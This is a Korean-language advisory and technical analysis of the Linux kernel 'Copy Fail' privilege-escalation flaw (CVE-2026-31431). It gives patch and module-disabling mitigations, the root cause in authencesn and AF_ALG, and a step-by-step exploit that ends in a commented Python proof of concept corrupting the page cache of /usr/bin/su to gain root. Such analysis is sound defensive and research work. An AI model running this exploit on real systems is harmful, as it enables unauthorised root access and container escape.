01. Overview
•
`Xint Code Research Team에서 Linux 커널의 authencesn 암호화 템플릿에서 발생하는 로직 결함을 이용해 권한이 없는 일반 사용자가 시스템 내 모든 읽기 가능한 파일의 페이지 캐시(Page Cache)내 4바이트를 이용해 루트 권한 획득이 가능한 Copy Fail(CVE-2026-31431) 발견
◦
단 732바이트의 Python 스크립트만으로 setuid 바이너리를 수정하여 루트(root) 권한을 획득할 수 있으며, 컨테이너 경계를 넘어 호스트 시스템까지 영향
◦
커널이 오염된 페이지를 '더티(dirty)'로 표시하지 않기 때문에 디스크의 실제 파일은 변하지 않으며, 무결성 검사 도구로도 탐지하기 어려운 공격 유형
[기존 리눅스 커널 취약점과의 작동원리 비교]
•
영향받는 대상 : Ubuntu, Amazon Linux, RHEL, SUSE 등 2017년 이후 출시된 거의 모든 Linux 배포판(커널 버전 6.12, 6.17, 6.18을 포함)
02. Mitigation & Remediation
2.1. 커널 패치
•
배포판의 커널 패키지를 메인라인 커밋 a664bf3d603d가 포함된 버전으로 즉시 업데이트
2.2. 모듈 비활성화
•
패치를 즉시 적용할 수 없는 환경이라면 algif_aead 커널 모듈을 비활성화하여 공격 경로를 차단
# 모듈 자동 로드 방지
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 현재 로드된 모듈 제거
rmmod algif_aead 2>/dev/null || true
JavaScript
복사
•
하기 항목 중 영향받지 않는 기능의 경우 커널 암호화 API를 직접(Internal) 사용하며, 취약점이 발생하는 인터페이스인 AF_ALG를 거치지 않기 때문에 영향을 받지 않음
[기존 리눅스 커널 취약점과의 작동원리 비교]
•
AF_ALG는 커널 암호화 API로 들어가는 "사용자 공간용 정문"이기 때문에 비활성화한다고 해서 시스템 전체가 느려지지 않음
◦
이를 사용하던 소수의 애플리케이션들은 일반적인 사용자 공간 암호화 라이브러리를 사용하도록 폴백(Fallback)되며, 이는 대부분의 다른 앱들이 이미 작동하는 방식과 동일
•
신뢰할 수 없는 워크로드 보호 (컨테이너/샌드박스)
◦
컨테이너, 샌드박스, CI/CD 환경 등 신뢰할 수 없는 코드가 실행되는 환경에서는 패치 여부와 관계없이 Seccomp 등을 통해 AF_ALG 소켓 생성을 원천적으로 차단하는 것을 권장
03. Vulnerability Analysis
3.1. 기존 리눅스 커널 취약점과의 비교
•
과거에도 Linux 커널에서는 Dirty COW(CVE-2016-5195), Dirty Pipe(CVE-2022-0847)등 고위험군의 권한 상승 취약점이 존재
◦
Dirty COW(CVE-2016-5195)는 VM 서브시스템의 'Copy-on-Write' 경로에서 발생하는 경합 조건(Race Condition)을 이용하기 때문에 성공을 위해 수차례 시도가 필요했고 때로는 시스템 크래시 유발
◦
Dirty Pipe(CVE-2022-0847)는 특정 커널 버전에 국한되었으며 파이프 버퍼에 대한 매우 정밀한 조작이 필요
•
Copy Fail(CVE-2026-31431)은 복잡한 경합 조건이나 재시도, 혹은 시스템을 중단시킬 수 있는 정밀한 타이밍 조절이 전혀 필요없이 정해진 코드 경로를 따라가면 취약점이 발현되는 직선적 로직 결함 (Straight-line Logic Flaw)을 이용
◦
(뛰어난 이식성)
▪
Ubuntu, Amazon Linux, RHEL, SUSE 등 테스트된 모든 배포판과 아키텍처에서 동일한 스크립트가 그대로 작동
◦
(초소형 익스플로잇)
▪
전체 공격 코드는 표준 라이브러리(os, socket, zlib)만을 사용하는 짧은 Python 스크립트(os.splice를 위해 Python 3.10 이상 필요)로 별도로 컴파일된 페이로드나 의존성 패키지 설치가 불필요
◦
(은밀성)
▪
이 쓰기 작업은 일반적인 VFS(가상 파일 시스템) 쓰기 경로를 완전히 우회하기 때문에 오염된 페이지는 커널의 라이트백(Writeback) 메커니즘에 의해 'Dirty'로 표시되지 않음
▪
즉 디스크 상의 원본 파일은 변하지 않고 메모리 내의 페이지 캐시만 오염되기 때문에, 디스크 체크섬을 비교하는 표준 파일 무결성 검사 도구들은 이 공격을 절대 감지할 수 없음
◦
(크로스 컨테이너 기반 공격)
▪
페이지 캐시는 컨테이너 경계를 포함하여 시스템의 모든 프로세스 간에 공유되기 때문에 Copy Fail은 단순한 로컬 권한 상승에 그치지 않고 강력한 컨테이너 탈출(Container Escape) 수단이자, Kubernetes 노드 전체를 장악할 수 있는 핵심 공격 벡터로 사용가능
3.2. 기술적 배경
1) AF_ALG와 splice()의 결합
•
AF_ALG는 커널의 암호화 서브시스템을 권한이 없는 사용자 공간에 노출하는 소켓 타입
◦
사용자는 소켓을 열고 어떤 AEAD(연관 데이터와 함께 제공되는 인증 암호화) 템플릿에도 바인딩할 수 있으며, 임의의 데이터에 대해 암호화 또는 복호화를 수행되며 이 과정에서 별도의 특권이 불필요
•
이 버그의 기반이 되는 핵심 프리미티브 splice()은 데이터 복사 없이 파일 기술자(FD)와 파이프 간에 데이터를 전달하며, 이 과정에서 페이지 캐시 페이지를 참조(Reference) 방식으로 전달
◦
사용자가 파일을 파이프로 splice()한 뒤 다시 AF_ALG 소켓으로 splice()하면, 소켓의 입력 스캐터리스트(Scatterlist)는 해당 파일의 커널 캐시 페이지에 대한 직접적인 참조
◦
페이지는 복제되지 않으며, 스캐터리스트 엔트리는 해당 파일에 대한 모든 read(), mmap(), execve() 호출 시 사용되는 것과 동일한 물리 페이지를 가르킴
2) algif_aead.c의 In-place(제자리) 연산 설계
•
AEAD 복호화의 입력 구조는 “AAD(연관 데이터) || 암호문(CT) || 인증 태그(Tag)”로 구성
◦
algif_aead.c 내부에서 recvmsg()는 이 작업을 In-place 방식으로 설정하는데 이는 암호화 알고리즘의 입력과 출력 모두에 동일한 스캐터리스트를 사용한다는 의미
◦
(데이터 복사)
▪
AAD와 암호문 데이터는 memcpy_sglist를 통해 입력 스캐터리스트에서 출력 버퍼로 바이트 단위 복사되고 이는 '진짜 복사'이며, 이때 페이지 캐시 페이지들은 읽기만 가능
◦
(태그의 연결, The Vulnerability)
▪
그러나 입력 스캐터리스트의 마지막 authsize 바이트인 인증 태그(Tag)는 복사되지 않고, 커널은 태그에 대한 스캐터리스트 엔트리를 그대로 유지한 채, sg_chain()을 사용하여 이를 출력 스캐터리스트의 끝에 연결
Input SGL: AAD || CT || Tag
| | ^
| copy | | sg_chain (still references page cache pages)
v v |
Output SGL: AAD || CT ----+
JavaScript
복사
[데이터 흐름 시각화]
•
입력 SGL : AAD || CT || Tag (여기서 Tag는 페이지 캐시를 가리킴)
•
복사 과정 : AAD와 CT는 출력용 RX 버퍼(사용자 메모리)로 복사됨
•
연결 과정 : Tag 영역은 sg_chain을 통해 RX 버퍼 뒤에 그대로 붙음
최종적으로 커널은 req->src = req->dst를 설정하며, 두 포인터 모두 이 결합된 체인의 헤드를 가리킴
req->src ----+
|
v
req->dst --> [ AAD || CT ] --> [ Tag (page cache pages) ]
| | | |
+-- RX buffer --+ +-- chained from TX SGL -+
| (user mem) | (file's page cache)
JavaScript
복사
3) 설계상의 결함
•
이러한 In-place 설계가 취약점의 근본 원인으로 이 구조는 페이지 캐시 페이지를 쓰기 가능한 스캐터리스트에 배치시키며, 정상적인 쓰기 영역(RX 버퍼)과 오프셋 경계 하나만으로 분리해 놓은 상태
◦
이 설계는 "모든 AEAD 알고리즘이 지정된 목적지 범위 내에서만 쓰기를 수행할 것"이라고 가정하지만 커널 API 내에서 이를 강제하는 장치는 없으며, 이를 요구 사항으로 명시한 문서조차 존재하지 않음
◦
불행하게도, 한 가지 AEAD 알고리즘이 이 암묵적인 불변성(Invariant)을 깨트림
3.3. 취약점 트리거 : authencesn의 스크래치 쓰기(Scratch Write)
1) authencesn의 비정상적 출력 규약
•
커널의 AEAD API는 복호화 시 명확한 출력 규약을 정의함: 목적지 버퍼는 정확히 assoclen + (cryptlen - authsize) 바이트만큼의 AAD || 평문 데이터를 수신해야 함
•
authencesn은 IPsec에서 확장 시퀀스 번호(ESN)를 지원하기 위해 사용하는 AEAD 래퍼(Wrapper)임
◦
IPsec은 64비트 시퀀스 번호를 상위 절반(seqno_hi, AAD의 0~3바이트)과 하위 절반(seqno_lo, 4~7바이트)으로 나누어 사용함
◦
네트워크 전송 포맷에는 seqno_lo만 포함되고 seqno_hi는 암시적임. HMAC 계산을 위해 authencesn은 이 바이트들을 재배치해야 하며, seqno_hi를 해시 입력의 맨 앞에, seqno_lo를 맨 뒤에 추가함
2) 목적지 버퍼를 임시 공간(Scratch pad)으로 오용
•
authencesn은 호출자의 목적지 버퍼를 임시 작업 공간으로 사용하여 이 재배치 작업을 수행하며 crypto_authenc_esn_decrypt() 함수 내의 동작은 다음과 같음
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD 0~7바이트를 읽음
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst[4..7]을 seqno_hi로 덮어씀
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 태그(Tag) 뒤쪽 영역에 seqno_lo를 기록함
JavaScript
복사
•
앞의 두 호출은 AAD 영역 내에서 ESN 바이트를 섞는 작업으로 나중에 복구되지만, 세 번째 호출은 AEAD 태그를 지나친 assoclen + cryptlen 오프셋 위치에 4바이트를 기록함
◦
즉, 알고리즘이 자신이 소유하지 않은 메모리 영역을 임시 메모리(Scratch pad)로 사용하고 있는 것임
3) 데이터 유실 및 결정적 오염
•
해당 위치에 있던 원래의 바이트들은 영구적으로 손실됨. crypto_authenc_esn_decrypt_tail()이 AAD 복원을 위해 seqno_lo를 다시 읽어오긴 하지만, dst[assoclen + cryptlen] 위치에 원래 있던 내용을 다시 써넣지는 않음
◦
해당 위치는 작업의 성공 여부와 관계없이 언제나 소모 가능한 '스크래치' 공간으로 취급
•
커널 내의 다른 표준 AEAD 알고리즘(GCM, CCM, 일반 authenc 등)은 모두 정해진 출력 영역 내에서만 쓰기를 수행하며, 오직 authencesn만이 경계를 넘어서는 쓰기 작업을 수행
4) AF_ALG In-place 경로를 통한 페이지 캐시 오염
•
AF_ALG의 In-place 경로에서 이 쓰기 작업은 출력 버퍼를 넘어 체인으로 연결된 페이지 캐시 태그 페이지까지 침범함
◦
scatterwalk_map_and_copy는 RX 버퍼를 지나쳐 페이지 캐시 페이지를 kmap_local_page로 매핑한 뒤, seqno_lo 값을 타겟 파일의 커널 캐시 복사본에 직접 기록함
•
이후 HMAC 계산이 실행되고(조작된 암호문이므로) 실패하게 됨. recvmsg()는 에러를 반환하지만, 공격자가 제어하는 4바이트의 데이터 쓰기는 이미 완료되어 메모리에 남게 됨
5) 공격자의 제어 요소
•
공격자는 다음 세 가지 요소를 완벽하게 제어 가능
◦
어떤 파일인가 : 현재 사용자가 읽을 수 있는 모든 파일
◦
어느 위치인가(오프셋) : 태그 영역은 splice된 파일 데이터의 마지막 authsize 바이트에 대응하며 공격자는 splice하는 파일의 오프셋, 길이, assoclen을 조절하여 파일 페이지 캐시 내의 정확히 어느 4바이트를 덮어쓸지 결정함
◦
어떤 값인가 : 덮어씌워질 4바이트 값(seqno_lo)은 공격자가 sendmsg()를 통해 구성한 AAD의 4~7바이트에서 직접 가져옴
3.4. 발생 배경
1) 취약점의 역사적 형성 과정
•
2011년 (authencesn 도입): IPsec ESP의 64비트 확장 시퀀스 번호(ESN, RFC 4303)를 지원하기 위해 authencesn이 커널에 추가됨(a5079d084f8b)
◦
초기부터 이 코드는 ESN 바이트 재배치를 위해 호출자의 목적지 스캐터리스트를 임시 공간으로 사용함
◦
당시에는 연관 데이터(AAD)가 별도의 스캐터리스트에 있었고, 호출자가 커널 내부의 xfrm 레이어뿐이었기에 중간에 발생하는 쓰기 작업이 외부로 노출되지 않아 무해했음
•
2015년 (AF_ALG 및 AEAD 업데이트): AF_ALG에 AEAD 지원이 추가되었으며, splice() 경로를 통해 페이지 캐시 페이지를 암호화 스캐터리스트로 전달할 수 있게 됨
◦
같은 해, authencesn이 새로운 AEAD 인터페이스로 전환(104880a6b470)되면서 출력 경계를 넘어서 쓰는 assoclen + cryptlen 오프셋이 도입됨
◦
하지만 당시 AF_ALG는 입력(src)과 출력(dst)이 분리된 방식을 사용했으므로 페이지 캐시는 읽기 전용인 src에만 존재했고, 임시 쓰기는 사용자 버퍼인 dst에만 발생하여 아직 공격이 불가능했음
•
2017년 (In-place 최적화 도입): algif_aead.c에 AEAD 연산을 제자리(In-place)에서 수행하는 최적화가 추가됨(72548b093ee3)
◦
복호화 시 AAD와 암호문은 RX 버퍼로 복사하지만, 태그(Tag) 페이지는 sg_chain()을 통해 참조 방식으로 연결함
◦
이후 req->src = req->dst로 설정함에 따라 splice에서 온 페이지 캐시 페이지가 쓰기 가능한 목적지 스캐터리스트에 배치됨. 이로 인해 authencesn이 dst[assoclen + cryptlen]에 쓰는 작업이 체인으로 연결된 태그 페이지로 흘러 들어가게 됨
2) 결론
•
2017년의 최적화가 authencesn의 임시 쓰기 작업이나 splice 경로의 페이지 캐시 사용과 연결될 것이라고는 아무도 예상하지 못함
•
각 변경 사항은 개별적으로는 타당했으나, 세 가지 요소가 교차하는 지점에서 취약점이 발생했으며 약 10년 동안 은밀하게 악용 가능한 상태로 방치됨
3.5. 익스플로잇 과정
•
기본적인 공격 경로는 대부분의 주요 Linux 배포판에 공통적으로 존재하는 setuid-root 바이너리인 /usr/bin/su를 타겟팅
1) 단계별 공격 시나리오
•
1단계 : 소켓 설정
◦
AF_ALG 소켓을 열고 authencesn(hmac(sha256),cbc(aes))에 바인딩한 후 키를 설정함. AF_ALG는 기본적으로 일반 사용자에게 허용되므로 특권이 필요 없음
•
2단계 : 쓰기 작업 구성
◦
셸코드 페이로드의 각 4바이트 청크에 대해 sendmsg()와 splice() 쌍을 구성함. sendmsg는 AAD를 제공하며, 여기에 기록할 4바이트 값(seqno_lo)을 실어 보냄. splice는 타겟 파일(/usr/bin/su)의 페이지 캐시 페이지를 암호문 및 태그로 제공함. AEAD 파라미터를 정밀하게 조정하여 dst[assoclen + cryptlen]이 /usr/bin/su의 .text 섹션 내 정확한 오프셋에 떨어지도록 맞춤
•
3단계 : 쓰기 트리거
◦
recv()를 호출하여 복호화 연산을 트리거함. 커널 내부에서 ESN 바이트를 읽고 dst[assoclen + cryptlen] 위치에 seqno_lo를 기록함. 이때 쓰기 작업이 출력 버퍼를 넘어 체인된 페이지 캐시 페이지로 전달되어 메모리 상의 /usr/bin/su 복사본 4바이트가 수정됨되며 HMAC 검증은 실패하여 에러가 반환되지만, 페이지 캐시는 이미 오염된 상태임
•
4단계 : 실행
◦
모든 청크가 기록되면 execve("/usr/bin/su")를 호출함. 커널은 페이지 캐시로부터 바이너리를 로드하는데, 여기에는 공격자가 주입한 셸코드가 포함되어 있으며, su는 setuid-root 파일이므로 주입된 셸코드는 UID 0(Root) 권한으로 실행됨
2) 공격 코드 예시 (Python)
•
CVE-2026-31431 copy_fail_exp.py
•
POC 코드 기능별 설명
import socket
import os
# --- 1단계: AF_ALG 소켓 설정 ---
# AF_ALG(38) 소켓을 열고 취약한 알고리즘인 authencesn에 바인딩합니다.
# 이 인터페이스는 일반 사용자 권한으로도 접근 가능합니다.
alg_sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# 암호화에 필요한 임의의 키를 설정합니다. (값 자체는 중요하지 않음)
alg_sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b"\x00" * 64)
# 실제 연산을 수행할 요청 소켓(Accept)을 생성합니다.
u, _ = alg_sock.accept()
# --- 2단계: 타겟 파일 및 파이프 준비 ---
# 루팅을 위해 setuid-root 권한이 있는 /usr/bin/su 파일을 읽기 전용으로 엽니다.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
# splice()를 위해 중간 매개체인 파이프를 생성합니다.
pipe_rd, pipe_wr = os.pipe()
# --- 3단계: 공격 페이로드 구성 (4바이트 쓰기 설정) ---
# AAD의 4~7바이트(seqno_lo)에 기록하려는 4바이트 데이터를 넣습니다.
# 이 값이 나중에 페이지 캐시의 특정 위치에 써지게 됩니다.
write_value = b"\xde\xad\xbe\xef" # 예: JMP 명령어나 셸코드 일부
aad_data = b"A" * 4 + write_value
# sendmsg를 통해 AAD를 커널에 보냅니다. MSG_MORE는 다음 데이터를 기다리게 합니다.
u.sendmsg([aad_data], [(socket.SOL_ALG, socket.ALG_SET_OP, 0)], socket.MSG_MORE)
# --- 4단계: 페이지 캐시 주입 및 트리거 ---
#
# 1. 타겟 파일(/usr/bin/su)의 특정 오프셋에서 데이터를 파이프로 가져옵니다.
# 여기서 선택한 offset에 따라 파일의 어느 부분이 오염될지 결정됩니다.
os.splice(target_fd, pipe_wr, offset=0x1234, len=16)
# 2. 파이프에 담긴 '페이지 캐시 참조'를 AF_ALG 소켓의 입력으로 전달합니다.
# 이제 소켓의 입력 스캐터리스트는 /usr/bin/su의 실제 메모리 페이지를 가리킵니다.
os.splice(pipe_rd, u.fileno(), len=16)
# 3. recv()를 호출하여 복호화 연산을 수행합니다.
# 커널 내부에서 authencesn 알고리즘이 실행되며:
# a) AAD에서 seqno_lo(write_value)를 읽음
# b) dst[assoclen + cryptlen] 위치에 해당 값을 기록함
# c) 이때 dst의 끝은 splice된 페이지 캐시이므로, 메모리 상의 su 파일이 수정됨!
try:
u.recv(1024)
except OSError:
# HMAC 검증 실패로 에러가 발생하지만, 이미 메모리 쓰기는 완료된 후입니다.
pass
# --- 5단계: 권한 상승 실행 ---
# 이제 페이지 캐시 내의 /usr/bin/su는 공격자가 주입한 코드로 수정된 상태입니다.
# 이를 실행하면 수정된 코드가 UID 0(Root) 권한으로 돌아갑니다.
os.execve("/usr/bin/su", ["/usr/bin/su"], {})
JavaScript
복사
•
POC 실행결과
◦
Ubuntu 24.04 LTS
◦
Ubuntu 22.04.5
◦
그 외 버전의 POC 실행결과




